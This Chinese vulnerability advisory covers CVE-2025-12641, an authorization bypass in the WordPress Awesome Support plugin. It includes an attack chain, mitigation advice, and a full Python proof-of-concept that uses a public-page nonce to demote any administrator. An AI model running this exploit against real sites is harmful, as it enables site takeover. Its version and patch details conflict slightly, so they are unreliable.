IPBUF安全漏洞报告
English
CVE-2025-12641 CVSS 6.5 中危

CVE-2025-12641 WordPress Awesome Support插件授权绕过漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2025-12641
漏洞类型
授权绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Awesome Support WordPress HelpDesk & Support Plugin

相关标签

授权绕过WordPress插件漏洞Awesome Supportnonce重用权限提升CVE-2025-12641WordPress安全工单系统漏洞

漏洞概述

CVE-2025-12641是WordPress平台下著名的Awesome Support(一个流行的工单和支持系统插件)中存在的严重授权绕过漏洞。该插件被广泛应用于各类WordPress网站,用于提供客户服务和技术支持功能。在6.3.6及之前的所有版本中,由于关键函数wpas_do_mr_activate_user缺少必要的权限验证机制,结合系统中存在的nonce重用漏洞,导致整个认证和授权体系被完全突破。攻击者无需任何身份凭证即可利用此漏洞,通过诱导管理员访问特制页面或利用公开的注册页面获取的有效nonce,可以将任意管理员账户降级为低权限角色,甚至可以完全剥夺管理员的系统访问权限。这意味着攻击者可以悄无声息地将合法网站管理员转变为普通用户,从而彻底控制WordPress网站的访问控制体系。此漏洞的危险性在于其利用门槛极低,不需要复杂的攻击技术,任何具备基本网络安全知识的攻击者都可以成功实施攻击。由于该插件在商业和个人网站中的广泛使用,全球数以万计的网站可能受到影响。

技术细节

该漏洞的技术根源在于两个独立但相互关联的安全缺陷。首先,wpas_do_mr_activate_user函数在执行用户角色修改操作时,完全缺少current_user_can()或类似的能力检查函数验证,这意味着任何请求,无论是来自管理员还是匿名用户,都会被平等地处理和执行。其次,系统存在严重的nonce重用问题:公开注册页面和提交工单页面使用的nonce与管理员后台操作共享同一个nonce命名空间,导致攻击者可以通过访问这些公开页面获取看似无害但实际上可用于特权操作的nonce值。攻击者利用wpas-do=mr_activate_user动作配合用户可控制的user_id参数,通过精心构造的HTTP请求,指定目标管理员的用户ID和期望降级到的低权限角色(如subscriber),即可在无需任何认证的情况下修改任意用户的角色。由于WordPress的角色系统是整个安全模型的基础,将管理员降级为订阅者将完全剥夺其管理权限,使其无法访问任何管理功能。

攻击链分析

STEP 1
步骤1
攻击者访问目标WordPress网站的公开注册页面或工单提交页面
STEP 2
步骤2
从页面HTML源码中提取有效的_wpnonce值,该nonce本应仅用于公开表单但实际可用于特权操作
STEP 3
步骤3
构造恶意HTTP POST请求,包含wpas-do=mr_activate_user动作、目标管理员user_id和期望降级到的低权限角色
STEP 4
步骤4
发送请求到目标网站,由于函数缺少权限检查且nonce验证通过,服务器执行用户角色修改
STEP 5
步骤5
目标管理员账户被降级为subscriber等低权限角色,失去所有管理权限
STEP 6
步骤6
攻击者创建新管理员账户或利用其他漏洞完全接管网站控制权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re import argparse def get_registration_nonce(target_url): """Extract valid nonce from public registration page""" response = requests.get(f'{target_url}/wp-login.php?action=register') if response.status_code == 200: match = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', response.text) if match: return match.group(1) return None def exploit_privilege_escalation(target_url, admin_user_id, nonce): """ Exploit CVE-2025-12641: WordPress Awesome Support Authorization Bypass Demote administrator to low-privilege role """ exploit_url = f'{target_url}/' # Craft POST request to demote admin payload = { 'wpas-do': 'mr_activate_user', 'user_id': str(admin_user_id), 'new_role': 'subscriber', '_wpnonce': nonce } response = requests.post(exploit_url, data=payload) if response.status_code == 200: print(f'[+] Successfully sent privilege escalation request') print(f'[+] Target user ID: {admin_user_id}') print(f'[+] New role: subscriber') return True return False def main(): parser = argparse.ArgumentParser(description='CVE-2025-12641 PoC') parser.add_argument('--url', required=True, help='Target WordPress URL') parser.add_argument('--admin-id', type=int, required=True, help='Admin user ID to demote') args = parser.parse_args() print(f'[*] Target: {args.url}') print(f'[*] Fetching registration nonce...') nonce = get_registration_nonce(args.url) if nonce: print(f'[+] Nonce obtained: {nonce}') exploit_privilege_escalation(args.url, args.admin_id, nonce) else: print('[-] Failed to obtain nonce') if __name__ == '__main__': main()

影响范围

Awesome Support Plugin < 6.3.6

防御指南

临时缓解措施
在官方补丁发布之前,建议立即采取以下临时缓解措施:首先,将Awesome Support插件升级到最新版本(至少6.3.7);如果无法立即升级,应考虑暂时禁用该插件直到安全更新可用。其次,通过WordPress数据库直接检查wp_usermeta表,确认是否存在非预期的角色变更记录(查询meta_key='wp_capabilities'且值包含subscriber但用户ID已知为管理员的记录)。第三,临时限制或禁用公开注册功能(通过wp-login.php的action=register),并对/wp-admin/admin-ajax.php等关键接口实施访问控制。最后,建议在Web服务器层面添加规则,阻断包含wpas-do=mr_activate_user参数的外部请求,直到插件更新完成。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表